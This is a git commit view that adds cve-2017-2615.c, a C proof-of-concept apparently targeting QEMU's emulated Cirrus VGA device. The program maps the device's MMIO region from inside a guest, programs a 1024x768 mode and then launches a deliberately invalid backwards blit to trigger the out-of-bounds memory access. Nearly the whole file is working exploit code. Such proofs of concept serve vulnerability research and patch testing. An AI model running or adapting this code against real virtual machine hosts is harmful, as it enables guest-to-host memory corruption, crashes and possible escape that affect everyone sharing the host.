summaryrefslogtreecommitdiffstats
path: root/cve-2017-2615.c
diff options
context:
space:
mode:
Diffstat (limited to 'cve-2017-2615.c')
-rw-r--r--cve-2017-2615.c279
1 files changed, 279 insertions, 0 deletions
diff --git a/cve-2017-2615.c b/cve-2017-2615.c
new file mode 100644
index 0000000..b953634
--- /dev/null
+++ b/cve-2017-2615.c
@@ -0,0 +1,279 @@
+/*
+
+mode setting sequence done by cirrus drm driver
+
+--- set mode ( 1024 x 768 @ 24 bpp ) ---
+vga_cirrus_write_io addr 0x3d4, val 0x11
+vga_cirrus_write_io addr 0x3d5, val 0x20
+vga_cirrus_write_io addr 0x3d4, val 0x0
+vga_cirrus_write_io addr 0x3d5, val 0xa3
+vga_cirrus_write_io addr 0x3d4, val 0x1
+vga_cirrus_write_io addr 0x3d5, val 0x7f
+vga_cirrus_write_io addr 0x3d4, val 0x4
+vga_cirrus_write_io addr 0x3d5, val 0x84
+vga_cirrus_write_io addr 0x3d4, val 0x5
+vga_cirrus_write_io addr 0x3d5, val 0x95
+vga_cirrus_write_io addr 0x3d4, val 0x6
+vga_cirrus_write_io addr 0x3d5, val 0x24
+vga_cirrus_write_io addr 0x3d4, val 0x12
+vga_cirrus_write_io addr 0x3d5, val 0xff
+vga_cirrus_write_io addr 0x3d4, val 0x9
+vga_cirrus_write_io addr 0x3d5, val 0x60
+vga_cirrus_write_io addr 0x3d4, val 0x7
+vga_cirrus_write_io addr 0x3d5, val 0x79
+vga_cirrus_write_io addr 0x3d4, val 0x1a
+vga_cirrus_write_io addr 0x3d5, val 0xe0
+vga_cirrus_write_io addr 0x3d4, val 0x17
+vga_cirrus_write_io addr 0x3d5, val 0x3
+
+vga_cirrus_write_io addr 0x3c4, val 0x7
+vga_cirrus_read_io addr 0x3c5, val 0x0
+vga_cirrus_write_io addr 0x3c4, val 0x7
+vga_cirrus_write_io addr 0x3c5, val 0x15
+
+vga_cirrus_write_io addr 0x3d4, val 0x13
+vga_cirrus_write_io addr 0x3d5, val 0x80
+vga_cirrus_write_io addr 0x3d4, val 0x1b
+vga_cirrus_write_io addr 0x3d5, val 0x32
+vga_cirrus_write_io addr 0x3ce, val 0x5
+vga_cirrus_write_io addr 0x3cf, val 0x40
+vga_cirrus_write_io addr 0x3ce, val 0x6
+vga_cirrus_write_io addr 0x3cf, val 0x1
+
+vga_cirrus_read_io addr 0x3c6, val 0xff
+vga_cirrus_read_io addr 0x3c6, val 0xff
+vga_cirrus_read_io addr 0x3c6, val 0xff
+vga_cirrus_read_io addr 0x3c6, val 0xff
+vga_cirrus_write_io addr 0x3c6, val 0xc5
+
+--- set base address ( 0 ) ---
+vga_cirrus_write_io addr 0x3d4, val 0xc
+vga_cirrus_write_io addr 0x3d5, val 0x0
+vga_cirrus_write_io addr 0x3d4, val 0xd
+vga_cirrus_write_io addr 0x3d5, val 0x0
+
+vga_cirrus_write_io addr 0x3d4, val 0x1b
+vga_cirrus_read_io addr 0x3d5, val 0x32
+vga_cirrus_write_io addr 0x3d4, val 0x1b
+vga_cirrus_write_io addr 0x3d5, val 0x32
+
+vga_cirrus_write_io addr 0x3d4, val 0x1d
+vga_cirrus_read_io addr 0x3d5, val 0x0
+vga_cirrus_write_io addr 0x3d4, val 0x1d
+vga_cirrus_write_io addr 0x3d5, val 0x0
+
+-- unblank --
+vga_cirrus_write_io addr 0x3c0, val 0x20
+
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/io.h>
+#include <sys/mman.h>
+
+#include <pci/pci.h>
+
+struct pci_access *pci;
+struct pci_dev *dev;
+
+static void find_device(unsigned int vendor,
+ unsigned int device)
+{
+ struct pci_filter filter;
+ struct pci_dev *d;
+
+ pci_scan_bus(pci);
+ pci_filter_init(pci, &filter);
+ filter.vendor = vendor;
+ filter.device = device;
+
+ for (d = pci->devices; d != NULL; d = d->next) {
+ if (!pci_filter_match(&filter, d))
+ continue;
+ dev = d;
+ return;
+ }
+ return;
+}
+
+#define VGA_OFFSET (-0x3c0)
+#define BLT_OFFSET (0x100)
+
+#define CIRRUS_MMIO_BLTBGCOLOR 0x00 // dword
+#define CIRRUS_MMIO_BLTFGCOLOR 0x04 // dword
+#define CIRRUS_MMIO_BLTWIDTH 0x08 // word
+#define CIRRUS_MMIO_BLTHEIGHT 0x0a // word
+#define CIRRUS_MMIO_BLTDESTPITCH 0x0c // word
+#define CIRRUS_MMIO_BLTSRCPITCH 0x0e // word
+#define CIRRUS_MMIO_BLTDESTADDR 0x10 // dword
+#define CIRRUS_MMIO_BLTSRCADDR 0x14 // dword
+#define CIRRUS_MMIO_BLTWRITEMASK 0x17 // byte
+#define CIRRUS_MMIO_BLTMODE 0x18 // byte
+#define CIRRUS_MMIO_BLTROP 0x1a // byte
+#define CIRRUS_MMIO_BLTMODEEXT 0x1b // byte
+#define CIRRUS_MMIO_BLTSTATUS 0x40 // byte
+
+#define CIRRUS_BLT_BUSY 0x01
+#define CIRRUS_BLT_START 0x02
+#define CIRRUS_BLT_RESET 0x04
+
+#define CIRRUS_BLTMODE_BACKWARDS 0x01
+#define CIRRUS_BLTMODE_MEMSYSDEST 0x02
+#define CIRRUS_BLTMODE_MEMSYSSRC 0x04
+#define CIRRUS_BLTMODE_TRANSPARENTCOMP 0x08
+#define CIRRUS_BLTMODE_PATTERNCOPY 0x40
+#define CIRRUS_BLTMODE_COLOREXPAND 0x80
+#define CIRRUS_BLTMODE_PIXELWIDTHMASK 0x30
+#define CIRRUS_BLTMODE_PIXELWIDTH8 0x00
+#define CIRRUS_BLTMODE_PIXELWIDTH16 0x10
+#define CIRRUS_BLTMODE_PIXELWIDTH24 0x20
+#define CIRRUS_BLTMODE_PIXELWIDTH32 0x30
+
+#define CIRRUS_ROP_0 0x00
+#define CIRRUS_ROP_SRC_AND_DST 0x05
+#define CIRRUS_ROP_NOP 0x06
+#define CIRRUS_ROP_SRC_AND_NOTDST 0x09
+#define CIRRUS_ROP_NOTDST 0x0b
+#define CIRRUS_ROP_SRC 0x0d
+#define CIRRUS_ROP_1 0x0e
+#define CIRRUS_ROP_NOTSRC_AND_DST 0x50
+#define CIRRUS_ROP_SRC_XOR_DST 0x59
+#define CIRRUS_ROP_SRC_OR_DST 0x6d
+#define CIRRUS_ROP_NOTSRC_OR_NOTDST 0x90
+#define CIRRUS_ROP_SRC_NOTXOR_DST 0x95
+#define CIRRUS_ROP_SRC_OR_NOTDST 0xad
+#define CIRRUS_ROP_NOTSRC 0xd0
+#define CIRRUS_ROP_NOTSRC_OR_DST 0xd6
+#define CIRRUS_ROP_NOTSRC_AND_NOTDST 0xda
+
+int main(int argc, char *argv[])
+{
+ char mmiofile[128];
+ int mmiofd;
+ volatile uint8_t *mmio;
+
+ pci = pci_alloc();
+ if (!pci) {
+ fprintf(stderr, "libpci alloc failed\n");
+ exit(1);
+ }
+ pci_init(pci);
+
+ find_device(0x1013, 0x00b8);
+ if (!dev) {
+ fprintf(stderr, "cirrus not found\n");
+ exit(1);
+ }
+ fprintf(stderr, "cirrus found at %02x:%02x.%x, mmio @ 0x%08x\n",
+ dev->bus, dev->dev, dev->func,
+ (uint32_t) dev->base_addr[1]);
+
+ snprintf(mmiofile, sizeof(mmiofile),
+ "/sys/bus/pci/devices/%04x:%02x:%02x.%x/resource1",
+ dev->domain, dev->bus, dev->dev, dev->func);
+ mmiofd = open(mmiofile, O_RDWR);
+ if (mmiofd < 0) {
+ fprintf(stderr, "open %s: %s\n", mmiofile, strerror(errno));
+ exit(1);
+ }
+ mmio = mmap(NULL, 4096, PROT_WRITE | PROT_READ, MAP_SHARED, mmiofd, 0);
+ if (mmio == MAP_FAILED) {
+ fprintf(stderr, "mmap %s: %s\n", mmiofile, strerror(errno));
+ exit(1);
+ }
+
+ fprintf(stderr, "init ok\n");
+ sleep(1);
+
+ fprintf(stderr, "setting mode (1024x768 @ 24bpp)\n");
+ /* mode */
+ mmio[0x3d4 + VGA_OFFSET] = 0x11;
+ mmio[0x3d5 + VGA_OFFSET] = 0x20;
+ mmio[0x3d4 + VGA_OFFSET] = 0x0;
+ mmio[0x3d5 + VGA_OFFSET] = 0xa3;
+ mmio[0x3d4 + VGA_OFFSET] = 0x1;
+ mmio[0x3d5 + VGA_OFFSET] = 0x7f;
+ mmio[0x3d4 + VGA_OFFSET] = 0x4;
+ mmio[0x3d5 + VGA_OFFSET] = 0x84;
+ mmio[0x3d4 + VGA_OFFSET] = 0x5;
+ mmio[0x3d5 + VGA_OFFSET] = 0x95;
+ mmio[0x3d4 + VGA_OFFSET] = 0x6;
+ mmio[0x3d5 + VGA_OFFSET] = 0x24;
+ mmio[0x3d4 + VGA_OFFSET] = 0x12;
+ mmio[0x3d5 + VGA_OFFSET] = 0xff;
+ mmio[0x3d4 + VGA_OFFSET] = 0x9;
+ mmio[0x3d5 + VGA_OFFSET] = 0x60;
+ mmio[0x3d4 + VGA_OFFSET] = 0x7;
+ mmio[0x3d5 + VGA_OFFSET] = 0x79;
+ mmio[0x3d4 + VGA_OFFSET] = 0x1a;
+ mmio[0x3d5 + VGA_OFFSET] = 0xe0;
+ mmio[0x3d4 + VGA_OFFSET] = 0x17;
+ mmio[0x3d5 + VGA_OFFSET] = 0x3;
+ mmio[0x3c4 + VGA_OFFSET] = 0x7;
+ mmio[0x3c5 + VGA_OFFSET] = 0x15;
+ mmio[0x3d4 + VGA_OFFSET] = 0x13;
+ mmio[0x3d5 + VGA_OFFSET] = 0x80;
+ mmio[0x3d4 + VGA_OFFSET] = 0x1b;
+ mmio[0x3d5 + VGA_OFFSET] = 0x32;
+ mmio[0x3ce + VGA_OFFSET] = 0x5;
+ mmio[0x3cf + VGA_OFFSET] = 0x40;
+ mmio[0x3ce + VGA_OFFSET] = 0x6;
+ mmio[0x3cf + VGA_OFFSET] = 0x1;
+#if 0
+ mmio[0x3c6 + VGA_OFFSET];
+ mmio[0x3c6 + VGA_OFFSET];
+ mmio[0x3c6 + VGA_OFFSET];
+ mmio[0x3c6 + VGA_OFFSET];
+ mmio[0x3c6 + VGA_OFFSET] = 0xc5;
+#endif
+
+ /* base */
+ mmio[0x3d4 + VGA_OFFSET] = 0xc;
+ mmio[0x3d5 + VGA_OFFSET] = 0x0;
+ mmio[0x3d4 + VGA_OFFSET] = 0xd;
+ mmio[0x3d5 + VGA_OFFSET] = 0x0;
+ mmio[0x3d4 + VGA_OFFSET] = 0x1b;
+ mmio[0x3d5 + VGA_OFFSET] = 0x32;
+ mmio[0x3d4 + VGA_OFFSET] = 0x1d;
+ mmio[0x3d5 + VGA_OFFSET] = 0x0;
+
+ /* dpms */
+ mmio[0x3d4 + VGA_OFFSET] = 0x1;
+ mmio[0x3d5 + VGA_OFFSET] = 0x0;
+ mmio[0x3ce + VGA_OFFSET] = 0xe;
+ mmio[0x3cf + VGA_OFFSET] = 0x1;
+
+ /* unblank */
+ mmio[0x3c0 + VGA_OFFSET] = 0x20;
+
+ fprintf(stderr, "mode done\n");
+ sleep(1);
+
+ fprintf(stderr, "trying invalid backwards blit\n");
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00;
+
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH) = 1024 * 3 - 1;
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT) = 1 - 1;
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH) = 1024 * 3;
+ *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR) = 0;
+ *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR) = 1024 * 3;
+
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] =
+ CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_BACKWARDS;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP] = CIRRUS_ROP_SRC;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_START;
+
+ fprintf(stderr, "blit done\n");
+ sleep(1);
+
+ exit(0);
+}